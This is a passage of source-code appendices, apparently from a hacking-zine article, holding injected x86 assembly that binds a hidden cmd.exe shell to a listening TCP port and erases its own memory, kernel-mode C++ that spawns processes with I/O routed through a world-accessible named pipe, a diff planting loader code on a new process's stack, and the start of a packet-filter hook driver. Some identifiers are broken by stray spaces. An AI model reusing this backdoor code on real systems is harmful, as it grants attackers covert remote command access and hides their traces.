int 3
ENDIF
ebp1_value_here_2:
mov ebp,0
lab_posle_ebp1_value:
ORG ebp1_value_here_2+1
ebp1_value_here:
ORG lab_posle_ebp1_value-main
xor eax,eax
push eax
push eax
push eax
laa ebx, remote_shell
push ebx
push eax
push eax
call _CreateThread
;call _Sleep,INFINITE
jmp $
remote_shell:
IFDEF DEBUG
int 3
ENDIF
ebp_value_here_2:
mov esi,0
lab_posle_ebp_value:
ORG ebp_value_here_2+1
ebp_value_here:
ORG lab_posle_ebp_value-main
mov ecx,SizeOfLocals
sub esi,ecx
mov edi,esp
sub edi,ecx
cld
rep movsb
mov ebp,esp
sub esp,SizeOfLocals
flag_addr_here_2:
mov eax,0
lab_posle_flag_addr:
ORG flag_addr_here_2+1
flag_addr_here:
ORG lab_posle_flag_addr-main
mov DWORD PTR [eax],1
;Load WinSock
laa eax,szWSOCK32
call _LoadLibrary,eax
or eax, eax
jz quit
;---- get ImageBase of ws2_32.dll ----
;I'm deviator: load at first, then as if seek
lea ebx,WS2_32FunctionsTable
push ebx
laa ebx,WS2_32StringTable
push ebx
push eax
call GetDllBaseAndLoadFunctions
;--- telnet server
lea eax,wsadat
push eax
push 0101h
call _WSAStartup
xor ebx,ebx
;socket does not suit here!
call _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx ,ebx
mov sock,eax
mov addr.sin_family,AF_INET
mov addr.sin_port,0088h
mov addr.sin_addr,INADDR_ANY
;Look for unused port from 34816 and bind to it
retry_bind:
lea ebx,addr
call _bind,sock,ebx,SIZE sockaddr_in
IFDEF RETRY_BIND
or eax, eax
jz l_listen
lea edx,addr.sin_port+1
inc byte ptr[edx]
cmp byte ptr[edx],0
;All ports busy...
jz quit
jmp retry_bind
ENDIF
l_listen:
call _listen,sock,1
or eax, eax
jnz quit
ShellCycle:
mov sizeofaddr,SIZE sockaddr_in
lea eax,sizeofaddr
push eax
lea eax, addr
push eax
push sock
call _accept
mov sock2, eax
RunCmd:
;int 3
;Zero StartInf
cld
lea edi,StartInf
xor eax,eax
mov ecx,SIZE STARTUPINFO
rep stosb
;Fill StartInf. Shell will be bound to socket
mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW
mov eax, sock2
mov StartInf.hStdOutput,eax
mov StartInf.hStdError,eax
mov StartInf.hStdInput,eax
mov StartInf.cb,SIZE STARTUPINFO
;Start shell
xor ebx,ebx
lea eax,ProcInf
push eax
lea eax,StartInf
push eax
push ebx
push ebx
push CREATE_NO_WINDOW
push 1
push ebx
push ebx
laa eax,CmdLine
push eax
push ebx
call _CreateProcessA
;To avoid hanging sessions
call _closesocket,sock2
IFDEF MULTIPLE_CONNECT
jmp ShellCycle
ENDIF
quit:
call _closesocket,sock
call _WSACleanup
;Sweep traces: free memory with that code and terminate thread
;Code must not free stack because ExitThread address is there
;It may wipe (zero out) stack in future versions
push MEM_RELEASE
xor ebx,ebx
push ebx
push OFFSET Start
push ebx
push _ExitThread
jmp _VirtualFree
main endp
; ------ ROUTINES ------
; returns NULL in the case of an error
GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddrWORD, FuncNamesTableWORD, FuncPtrsTableWORD
;----------------------------------------------
local SEH:sSEH, FuncNameEndWORD,dwDllBaseWORD,PEHeaderWORD
; install SEH frame
laaa eax, KernelSearchSehHandler
push eax
push fs:dword ptr[0]
mov SEH.OrgEsp, esp
laaa eax, ExceptCont
mov SEH.SaveEip, eax
mov fs:dword ptr[0], esp
; start the search
mov edi, dwSearchStartAddr
.while TRUE
.if word ptr [edi] == IMAGE_DOS_SIGNATURE
mov esi, edi
add esi, [esi+03Ch]
.if dword ptr [esi] == IMAGE_NT_SIGNATURE
.break
.endif
.endif
ExceptCont:
sub edi, 010000h
.endw
mov dwDllBase,edi
mov PEHeader,esi
LoadFunctions:
; get the string length of the target Api
mov edi, FuncNamesTable
mov ecx, MAX_API_STRING_LENGTH
xor al, al
repnz scasb
mov FuncNameEnd,edi
mov ecx, edi
sub ecx, FuncNamesTable ; ECX -> Api string length
; trace the export table
mov edx, [esi+078h] ; EDX -> Export table
add edx, dwDllBase
assume edx:ptr IMAGE_EXPORT_DIRECTORY
mov ebx, [edx].AddressOfNames ; EBX -> AddressOfNames array pointer
add ebx, dwDllBase
xor eax, eax ; eax AddressOfNames Index
.repeat
mov edi, [ebx]
add edi, dwDllBase
mov esi, FuncNamesTable
push ecx ; save the api string length
repz cmpsb
.if zero?
add esp, 4
.break
.endif
pop ecx
add ebx, 4
inc eax
.until eax == [edx].NumberOfNames
; did we found sth ?
.if eax == [edx].NumberOfNames
jmp ExceptContinue
.endif
; find the corresponding Ordinal
mov esi, [edx].AddressOfNameOrdinals
add esi, dwDllBase
shl eax, 1
add eax, esi
movzx eax,word ptr [eax]
; get the address of the api
mov edi, [edx].AddressOfFunctions
shl eax, 2
add eax, dwDllBase
add eax, edi
mov eax, [eax]
add eax, dwDllBase
mov ecx,FuncNameEnd
mov FuncNamesTable,ecx
mov ebx,FuncPtrsTable
mov DWORD PTR [ebx],eax
mov esi,PEHeader
cmp BYTE PTR [ecx],0
jnz LoadFunctions
Quit:
; shutdown seh frame
pop fs:dword ptr[0]
add esp, 4
ret
ExceptContinue:
mov edi, dwDllBase
jmp ExceptCont
GetDllBaseAndLoadFunctions endp
KernelSearchSehHandler PROC C pExceptWORD,pFrameWORD,pContextWORD,pDispatchWORD
mov eax, pContext
assume eax:ptr CONTEXT
sub dword ptr [eax].cx_Edi,010000h
mov eax, 0 ;ExceptionContinueExecution
ret
KernelSearchSehHandler ENDP
KERNEL32StringTable:
szCreateThread db "CreateThread",0
szGetThreadContext db "GetThreadContext",0
szSetThreadContext db "SetThreadContext",0
szExitThread db "ExitThread",0
szLoadLibrary db "LoadLibraryA",0
szCreateProcessA db "CreateProcessA",0
szSleep db "Sleep",0
szVirtualFree db "VirtualFree",0
db 0
szWSOCK32 db "WS2_32.DLL",0
WS2_32StringTable:
szsocket db "WSASocketA",0
szbind db "bind",0
szlisten db "listen",0
szaccept db "accept",0
szWSAStartup db "WSAStartup",0
szclosesocket db "closesocket",0
szWSACleanup db "WSACleanup",0
db 0
NTDLLStringTable:
szZwOpenThread db "ZwOpenThread",0
szZwAlertThread db "ZwAlertThread",0
db 0
CmdLine db "cmd.exe",0
ALIGN 4
CLID_here CLIENT_ID <0>
;----------------------------------------------
EndFile:
end Start
----[ 6.4 - NebbetCreateProcess.cpp
#include <ntdll.h>
#include "DynLoadFromNtdll.h"
#include "NtdllDynamicLoader.h"
extern "C" {
#include "SECSYS.H"
}
namespace NT {
typedef struct _CSRSS_MESSAGE{
ULONG Unknwon1;
ULONG Opcode;
ULONG Status;
ULONG Unknwon2;
}CSRSS_MESSAGE,*PCSRSS_MESSAGE;
}
DYNAMIC_LOAD1(CsrClientCallServer)
DYNAMIC_LOAD1(RtlDestroyProcessParameters)
DYNAMIC_LOAD1(ZwWriteVirtualMemory)
DYNAMIC_LOAD1(ZwResumeThread)
DYNAMIC_LOAD1(ZwCreateThread)
DYNAMIC_LOAD1(ZwProtectVirtualMemory)
DYNAMIC_LOAD1(ZwCreateProcess)
DYNAMIC_LOAD1(ZwRequestWaitReplyPort)
DYNAMIC_LOAD1(ZwReadVirtualMemory)
DYNAMIC_LOAD1(ZwCreateNamedPipeFile)
DYNAMIC_LOAD1(LdrGetDllHandle)
//Dynamic import of functions exported from ntdll.dll
extern "C" void LoadFuncs()
{
static PVOID pNTDLL;
if (!pNTDLL)
{
pNTDLL=FindNT();
DYNAMIC_LOAD2(CsrClientCallServer)
DYNAMIC_LOAD2(RtlDestroyProcessParameters)
DYNAMIC_LOAD2(ZwWriteVirtualMemory)
DYNAMIC_LOAD2(ZwResumeThread)
DYNAMIC_LOAD2(ZwCreateThread)
DYNAMIC_LOAD2(ZwProtectVirtualMemory)
DYNAMIC_LOAD2(ZwCreateProcess)
DYNAMIC_LOAD2(ZwRequestWaitReplyPort)
DYNAMIC_LOAD2(ZwReadVirtualMemory)
DYNAMIC_LOAD2(ZwCreateNamedPipeFile)
DYNAMIC_LOAD2(LdrGetDllHandle)
}
}
//Informs CSRSS about new win32-process
VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid)
{
// _asm int 3;
struct CSRSS_MESSAGE {
ULONG Unknown1;
ULONG Opcode;
ULONG Status;
ULONG Unknown2;
};
struct {
NT::PORT_MESSAGE PortMessage;
CSRSS_MESSAGE CsrssMessage;
PROCESS_INFORMATION ProcessInformation;
NT::CLIENT_ID Debugger;
ULONG CreationFlags;
ULONG VdmInfo[2];
} csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};
CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);
}
//Initialse empty environment
PWSTR InitEnvironment(HANDLE hProcess)
{
PVOID p=0;
DWORD dummy=0;
DWORD n=sizeof(dummy);
DWORD m;
m=n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,
MEM_COMMIT, PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);
return PWSTR(p);
}
// Clone of Ntdll::RtlCreateProcessParameters...
VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS * pp,
NT::PUNICODE_STRING ImageFile,
NT::PUNICODE_STRING DllPath,
NT::PUNICODE_STRING CurrentDirectory,
NT::PUNICODE_STRING CommandLine,
ULONG CreationFlag,
NT::PUNICODE_STRING WindowTitle,
NT::PUNICODE_STRING Desktop,
NT::PUNICODE_STRING Reserved,
NT::PUNICODE_STRING Reserved2){
NT::PROCESS_PARAMETERS* lpp;
ULONG Size=sizeof(NT::PROCESS_PARAMETERS);
if(ImageFile) Size+=ImageFile->MaximumLength;
if(DllPath) Size+=DllPath->MaximumLength;
if(CurrentDirectory) Size+=CurrentDirectory->MaximumLength;
if(CommandLine) Size+=CommandLine->MaximumLength;
if(WindowTitle) Size+=WindowTitle->MaximumLength;
if(Desktop) Size+=Desktop->MaximumLength;
if(Reserved) Size+=Reserved->MaximumLength;
if(Reserved2) Size+=Reserved2->MaximumLength;
//Allocate the buffer..
*pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT ::NonPagedPool,Size);
lpp=*pp;
RtlZeroMemory(lpp,Size);
lpp->AllocationSize=PAGE_SIZE;
lpp->Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)
lpp->hStdInput=0;
lpp->hStdOutput=0;
lpp->hStdError=0;
if(CurrentDirectory){
lpp->CurrentDirectoryName.Length=CurrentDirectory->Length;
lpp->CurrentDirectoryName.MaximumLength=CurrentDirecto ry->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CurrentDirectory->Buffer,CurrentDirectory->Length);
lpp->CurrentDirectoryName.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CurrentDirectory->MaximumLength;
}
if(DllPath){
lpp->DllPath.Length=DllPath->Length;
lpp->DllPath.MaximumLength=DllPath->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,DllPath->Buffer,DllPath->Length);
lpp->DllPath.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=DllPath->MaximumLength;
}
if(ImageFile){
lpp->ImageFile.Length=ImageFile->Length;
lpp->ImageFile.MaximumLength=ImageFile->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,ImageFile->Buffer,ImageFile->Length);
lpp->ImageFile.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=ImageFile->MaximumLength;
}
if(CommandLine){
lpp->CommandLine.Length=CommandLine->Length;
lpp->CommandLine.MaximumLength=CommandLine->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,CommandLine->Buffer,CommandLine->Length);
lpp->CommandLine.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=CommandLine->MaximumLength;
}
if(WindowTitle){
lpp->WindowTitle.Length=WindowTitle->Length;
lpp->WindowTitle.MaximumLength=WindowTitle->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,WindowTitle->Buffer,WindowTitle->Length);
lpp->WindowTitle.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=WindowTitle->MaximumLength;
}
if(Desktop){
lpp->Desktop.Length=Desktop->Length;
lpp->Desktop.MaximumLength=Desktop->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Desktop->Buffer,Desktop->Length);
lpp->Desktop.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Desktop->MaximumLength;
}
if(Reserved){
lpp->Reserved2.Length=Reserved->Length;
lpp->Reserved2.MaximumLength=Reserved->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved->Buffer,Reserved->Length);
lpp->Reserved2.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved->MaximumLength;
}
/* if(Reserved2){
lpp->Reserved3.Length=Reserved2->Length;
lpp->Reserved3.MaximumLength=Reserved2->MaximumLength;
RtlCopyMemory((PCHAR)(lpp)+lpp->Size,Reserved2->Buffer,Reserved2->Length);
lpp->Reserved3.Buffer=(PWCHAR)lpp->Size;
lpp->Size+=Reserved2->MaximumLength;
}*/
}
VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb,
NT::PUNICODE_STRING ImageFile, HANDLE hPipe)
{
NT::PPROCESS_PARAMETERS pp;
NT::UNICODE_STRING CurrentDirectory;
NT::UNICODE_STRING DllPath;
NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\W INNT\\SYSTEM32\\");
NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT \\;C:\\WINNT\\SYSTEM32\\");
RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);
pp->hStdInput=hPipe;
pp->hStdOutput=hPipe;//hStdOutPipe;
pp->hStdError=hPipe;//hStdOutPipe;
pp->dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
pp->wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;
pp->Environment = InitEnvironment(hProcess);
ULONG n = pp->Size;
PVOID p = 0;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_READWRITE);
ZwWriteVirtualMemory(hProcess, p, pp, pp->Size, 0);
ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);
RtlDestroyProcessParameters(pp);
}
namespace NT {
extern "C" {
DWORD WINAPI RtlCreateAcl(PACL acl,DWORD size,DWORD rev);
BOOL WINAPI RtlAddAccessAllowedAce(PACL,DWORD,DWORD,PSID);
}}
NTSTATUS BuildAlowingSD(PSECURITY_DESCRIPTOR *pSecurityDescriptor)
{
//_asm int 3;
SID SeWorldSid={SID_REVISION, 1, SECURITY_WORLD_SID_AUTHORITY, SECURITY_WORLD_RID};
SID localSid={SID_REVISION, 1, SECURITY_NT_AUTHORITY, SECURITY_LOCAL_SYSTEM_RID};
char daclbuf[PAGE_SIZE];
NT::PACL dacl = (NT::PACL)&daclbuf;
char sdbuf[PAGE_SIZE];
NT::PSECURITY_DESCRIPTOR sd = &sdbuf;
NTSTATUS status = NT::RtlCreateAcl(dacl, PAGE_SIZE, ACL_REVISION);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlAddAccessAllowedAce(dacl, ACL_REVISION, FILE_ALL_ACCESS, &SeWorldSid);
if (!NT_SUCCESS(status)) return status;
RtlZeroMemory(sd, PAGE_SIZE);
status = NT::RtlCreateSecurityDescriptor(sd, SECURITY_DESCRIPTOR_REVISION);
if (!NT_SUCCESS(status)) return status;
status = RtlSetOwnerSecurityDescriptor(sd, &localSid, FALSE);
if (!NT_SUCCESS(status)) return status;
status = NT::RtlSetDaclSecurityDescriptor(sd, TRUE, dacl, FALSE);
if (!NT_SUCCESS(status)) return status;
if (!NT::RtlValidSecurityDescriptor(sd)) {
_asm int 3;
}
//To try!
ULONG buflen = PAGE_SIZE*2;
*pSecurityDescriptor = NT::ExAllocatePool(NT::PagedPool, buflen);
if (!*pSecurityDescriptor) return STATUS_INSUFFICIENT_RESOURCES;
return RtlAbsoluteToSelfRelativeSD(sd, *pSecurityDescriptor, &buflen);
}
#define PIPE_NAME_MAX 40*2
extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess)
{
NT::IO_STATUS_BLOCK iosb;
NT::OBJECT_ATTRIBUTES attr = {sizeof attr, 0, PipeName, OBJ_INHERIT, sd};
NT::LARGE_INTEGER nTimeOut;
nTimeOut.QuadPart = (__int64)-1E7;
return ZwCreateNamedPipeFile(phPipe, DesiredAccess | SYNCHRONIZE | FILE_ATTRIBUTE_TEMPORARY, &attr, &iosb, ShareAccess,
FILE_CREATE, 0, FALSE, FALSE, FALSE, 1, 0x1000, 0x1000, &nTimeOut);
}
int exec_piped(NT::PUNICODE_STRING name, NT::PUNICODE_STRING PipeName)
{
HANDLE hProcess, hThread, hSection, hFile;
//_asm int 3;
NT::OBJECT_ATTRIBUTES oa = {sizeof oa, 0, name, OBJ_CASE_INSENSITIVE};
NT::IO_STATUS_BLOCK iosb;
NT::ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb,
FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
NT::ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, 0,
PAGE_EXECUTE, SEC_IMAGE, hFile);
NT::ZwClose(hFile);
ZwCreateProcess(&hProcess, PROCESS_ALL_ACCESS, &oa,
NtCurrentProcess(), TRUE, hSection, 0, 0);
NT::SECTION_IMAGE_INFORMATION sii;
NT::ZwQuerySection(hSection, NT::SectionImageInformation,
&sii, sizeof sii, 0);
NT::ZwClose(hSection);
NT::USER_STACK stack = {0};
ULONG n = sii.StackReserve;
NT::ZwAllocateVirtualMemory(hProcess, &stack.ExpandableStackBottom, 0, &n,
MEM_RESERVE, PAGE_READWRITE);
stack.ExpandableStackBase = PCHAR(stack.ExpandableStackBottom)
+ sii.StackReserve;
stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)
- sii.StackCommit;
/* PAGE_EXECUTE_READWRITE is needed if initialisation code will be executed on stack*/
n = sii.StackCommit + PAGE_SIZE;
PVOID p = PCHAR(stack.ExpandableStackBase) - n;
NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
ULONG x; n = PAGE_SIZE;
ZwProtectVirtualMemory(hProcess, &p, &n,
PAGE_READWRITE | PAGE_GUARD, &x);
NT::CONTEXT context = {CONTEXT_FULL};
context.SegGs = 0;
context.SegFs = 0x38;
context.SegEs = 0x20;
context.SegDs = 0x20;
context.SegSs = 0x20;
context.SegCs = 0x18;
context.EFlags = 0x3000;
context.Esp = ULONG(stack.ExpandableStackBase) - 4;
context.Eip = ULONG(sii.EntryPoint);
NT::CLIENT_ID cid;
ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &oa,
hProcess, &cid, &context, &stack, TRUE);
NT::PROCESS_BASIC_INFORMATION pbi;
NT::ZwQueryInformationProcess(hProcess, NT::ProcessBasicInformation,
&pbi, sizeof pbi, 0);
HANDLE hPipe,hPipe1;
oa.ObjectName = PipeName;
oa.Attributes = OBJ_INHERIT;
if(NT::ZwOpenFile(&hPipe1, GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE)) return 0;
NT::ZwDuplicateObject(NtCurrentProcess(), hPipe1, hProcess, &hPipe,
0, 0, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
CreateProcessParameters(hProcess, pbi.PebBaseAddress, name, hPipe);
InformCsrss(hProcess, hThread,
ULONG(cid.UniqueProcess), ULONG(cid.UniqueThread));
ZwResumeThread(hThread, 0);
NT::ZwClose(hProcess);
NT::ZwClose(hThread);
return int(cid.UniqueProcess);
}
int execute_piped(VOID *ImageFileName, NT::PUNICODE_STRING PipeName)
{
NT::UNICODE_STRING ImageFile;
NT::RtlInitUnicodeString(&ImageFile, (wchar_t *)ImageFileName);
return exec_piped(&ImageFile, PipeName);
}
Rest In Part V
-
----[ 6.5 - NebbetCreateProcess.diff
268a269,384
> typedef
> WINBASEAPI
> BOOL
> (WINAPI
> *f_SetStdHandle)(
> IN DWORD nStdHandle,
> IN HANDLE hHandle
> );
> typedef
> WINBASEAPI
> HANDLE
> (WINAPI
> *f_CreateFileW)(
> IN LPCWSTR lpFileName,
> IN DWORD dwDesiredAccess,
> IN DWORD dwShareMode,
> IN LPSECURITY_ATTRIBUTES lpSecurityAttributes,
> IN DWORD dwCreationDisposition,
> IN DWORD dwFlagsAndAttributes,
> IN HANDLE hTemplateFile
> );
> #ifdef _DEBUG
> typedef
> WINBASEAPI
> DWORD
> (WINAPI
> *f_GetLastError)(
> VOID
> );
> #endif
> typedef VOID (*f_EntryPoint)(VOID);
>
> struct s_data2embed
> {
> wchar_t PipeName[PIPE_NAME_MAX];
> //wchar_t RPipeName[PIPE_NAME_MAX], WPipeName[PIPE_NAME_MAX];
> f_SetStdHandle pSetStdHandle;
> f_CreateFileW pCreateFileW;
> f_EntryPoint EntryPoint;
> #ifdef _DEBUG
> f_GetLastError pGetLastError;
> #endif
> };
>
> //void before_code2embed(){};
> void code2embed(s_data2embed *embedded_data)
> {
> HANDLE hPipe;
>
> __asm int 3;
> hPipe = embedded_data->pCreateFileW(embedded_data->PipeName,
> GENERIC_READ | GENERIC_WRITE | SYNCHRONIZE,
> 0/*FILE_SHARE_READ | FILE_SHARE_WRITE*/,
> NULL,
> OPEN_EXISTING,
> 0/*FILE_ATTRIBUTE_NORMAL*/,
> NULL);
> embedded_data->pGetLastError();
> /*//if (hRPipe==INVALID_HANDLE_VALUE) goto cont;
> hWPipe = embedded_data->pCreateFileW(embedded_data->WPipeName,
> GENERIC_WRITE | SYNCHRONIZE,
> FILE_SHARE_READ /*| FILE_SHARE_WRITE*,
> NULL,
> OPEN_EXISTING,
> 0,
> NULL);
> embedded_data->pGetLastError();
> if ((hRPipe!=INVALID_HANDLE_VALUE)&&(hWPipe!=INVALID_ HANDLE_VALUE)) */
> if (hPipe!=INVALID_HANDLE_VALUE)
> {
> embedded_data->pSetStdHandle(STD_INPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_OUTPUT_HANDLE, hPipe);
> embedded_data->pSetStdHandle(STD_ERROR_HANDLE, hPipe);
> }
> embedded_data->EntryPoint();
> }
> __declspec(naked) void after_code2embed(){};
> #define sizeof_code2embed ((ULONG)&after_code2embed-(ULONG)&code2embed)
>
> void redir2pipe(HANDLE hProcess, wchar_t *PipeName/*, wchar_t *WPipeName*/, PVOID EntryPoint, PVOID pStack, /*OUT PULONG pData,*/ OUT PULONG pCode, OUT PULONG pNewStack)
> {
> s_data2embed data2embed;
> PVOID pKERNEL32;
> NT::UNICODE_STRING ModuleFileName;
>
> _asm int 3;
>
> *pCode = 0;
> *pNewStack = 0;
> NT::RtlInitUnicodeString(&ModuleFileName, L"kernel32.dll");
> LdrGetDllHandle(NULL, NULL, &ModuleFileName, &pKERNEL32);
> if (!pKERNEL32) return;
> data2embed.pSetStdHandle=(f_SetStdHandle)FindFunc( pKERNEL32, "SetStdHandle");
> data2embed.pCreateFileW=(f_CreateFileW)FindFunc(pK ERNEL32, "CreateFileW");
> #ifdef _DEBUG
> data2embed.pGetLastError=(f_GetLastError)FindFunc( pKERNEL32, "GetLastError");
> #endif
> if ((!data2embed.pSetStdHandle)||(!data2embed.pCreate FileW)) return;
> data2embed.EntryPoint=(f_EntryPoint)EntryPoint;
> wcscpy(data2embed.PipeName, PipeName);
> //wcscpy(data2embed.WPipeName, WPipeName);
> char* p = (char*)pStack - sizeof_code2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &code2embed, sizeof_code2embed, 0)) return;
> *pCode = (ULONG)p;
>
> p -= sizeof s_data2embed;
> if (ZwWriteVirtualMemory(hProcess, p, &data2embed, sizeof s_data2embed, 0)) return;
>
> PVOID pData = (PVOID)p;
> p -= sizeof pData;
> if (ZwWriteVirtualMemory(hProcess, p, &pData, sizeof pData, 0)) return;
>
> p -= 4;
> *pNewStack = (ULONG)p;
> }
>
317a434,437
> ULONG newEIP, NewStack;
> redir2pipe(hProcess, PipeName->Buffer, sii.EntryPoint, stack.ExpandableStackBase, &newEIP, &NewStack);
> if ((!NewStack)||(!newEIP)) return 0;
>
326,327c446,449
< context.Esp = ULONG(stack.ExpandableStackBase) - 4;
< context.Eip = ULONG(sii.EntryPoint);
---
> //loader code is on the stack
> context.Esp = NewStack;
> context.Eip = newEIP;
----[ 6.6 - NtdllDynamicLoader.cpp
#include <ntdll.h>
//#include "UndocKernel.h"
#include "DynLoadFromNtdll.h"
//Example A.2 from Nebbet's book
//Search loaded module by name
PVOID FindModule(char *module)
{
ULONG n;
//Request necessary size of buffer
NT::ZwQuerySystemInformation(NT::SystemModuleInfor mation,
&n, 0, &n);
//Allocate memory for n structures
PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*size of(*q));
//Request information about modules
NT::ZwQuerySystemInformation(NT::SystemModuleInfor mation,
q, n * sizeof *q, 0);
//Module counter located at address q, information begins at q+1
NT::PSYSTEM_MODULE_INFORMATION p
= NT::PSYSTEM_MODULE_INFORMATION(q + 1);
PVOID ntdll = 0;
//Cycle for each module ...
for (ULONG i = 0; i < *q; i++)
{
//...compare it's name with looked for...
if (_stricmp(p[i].ImageName + p[i].ModuleNameOffset,
module) == 0)
{
//...and stop if module found
ntdll = p[i].Base;
break;
}
}
//Free memory
NT::ExFreePool(q);
return ntdll;
}
PVOID FindNT()
{
return FindModule("ntdll.dll");
}
//Search exported function named Name in module, loaded at addrress Base
PVOID FindFunc(PVOID Base, PCSTR Name)
{
//At addrress Base there is DOS EXE header
PIMAGE_DOS_HEADER dos = PIMAGE_DOS_HEADER(Base);
//Extract offset of PE-header from it
PIMAGE_NT_HEADERS nt = PIMAGE_NT_HEADERS(PCHAR(Base) + dos->e_lfanew);
//Evaluate pointer to section table,
//according to directory of exported functions
PIMAGE_DATA_DIRECTORY expdir
= nt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT;
//Extract address and size of that table
ULONG size = expdir->Size;
ULONG addr = expdir->VirtualAddress;
//Evaluate pointers:
// - to directory of exported functions
PIMAGE_EXPORT_DIRECTORY exports
= PIMAGE_EXPORT_DIRECTORY(PCHAR(Base) + addr);
// - to table of addresses
PULONG functions = PULONG(PCHAR(Base) + exports->AddressOfFunctions);
// - to table of ordinals
PSHORT ordinals = PSHORT(PCHAR(Base) + exports->AddressOfNameOrdinals);
// - to table of names
PULONG names = PULONG(PCHAR(Base) + exports->AddressOfNames);
//Cycle through table of names ...
for (ULONG i = 0; i < exports->NumberOfNames; i++) {
//Ordinal that matches name is index in the table of addresses
ULONG ord = ordinals[i];
//Test is the address correct
if (functions[ord] < addr || functions[ord] >= addr + size) {
//If function name matches looked for...
if (strcmp(PSTR(PCHAR(Base) + names[i]), Name) == 0)
//then return it's address
return PCHAR(Base) + functions[ord];
}
}
//Function not found
return 0;
}
----[ 6.7 - Filtering.cpp
extern "C" {
#include <ntddk.h>
#include <ntddndis.h>
#include <pfhook.h>
#include "filtering.h"
#include "Sniffer.h"
NTSYSAPI
NTSTATUS
NTAPI
ZwLoadDriver(
IN PUNICODE_STRING DriverServiceName
);
}
extern PF_FORWARD_ACTION PacketFilter(
IN IPHeader *PacketHeader,
IN unsigned char *Packet,
IN unsigned int PacketLength,
IN unsigned int RecvInterfaceIndex,
IN unsigned int SendInterfaceIndex,
IN IPAddr RecvLinkNextHop,
IN IPAddr SendLinkNextHop
);
NTSTATUS globalresult;
PDEVICE_OBJECT pDeviceObject;
PFILE_OBJECT pFileObject;
KEVENT Event;
NTSTATUS SutdownFiltering()
{
if ((pDeviceObject)&&(pFileObject))
{
globalresult=SetupFiltering(NULL);
ObDereferenceObject(pFileObject);
return globalresult;
}
else return STATUS_SUCCESS;
}
NTSTATUS InitFiltering()
{
UNICODE_STRING FiltDrvName;
UNICODE_STRING DSN={0};
//_asm int 3;
RtlInitUnicodeString(&FiltDrvName,L"\\Device\\IPFI LTERDRIVER");
pDeviceObject=NULL;
retry:
IoGetDeviceObjectPointer(&FiltDrvName,SYNCHRONIZE| GENERIC_READ|GENERIC_WRITE,&pFileObject,&pDeviceOb ject);
if ((!pDeviceObject)&&(!DSN.Length))
{
RtlInitUnicodeString(&DSN,L"\\Registry\\Machine\\S ystem\\CurrentControlSet\\Services\\IpFilterDriver ");
ZwLoadDriver(&DSN);
goto retry;
}
if (pDeviceObject)
{
KeInitializeEvent(&Event,NotificationEvent,FALSE);
return SetupFiltering(&PacketFilter);
} else return STATUS_OBJECT_NAME_NOT_FOUND;
}
NTSTATUS SetupFiltering(void *PacketFilterProc)
{
IO_STATUS_BLOCK iostb;
LARGE_INTEGER Timeout;
PIRP pirp = NULL;
//_asm int 3;
pirp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSI ON_POINTER,pDeviceObject,(PPF_SET_EXTENSION_HOOK_I NFO)&PacketFilterProc,sizeof(PF_SET_EXTENSION_HOOK _INFO),NULL,0,FALSE,&Event,&iostb);
if (!pirp)
{
return STATUS_UNSUCCESSFUL;
}
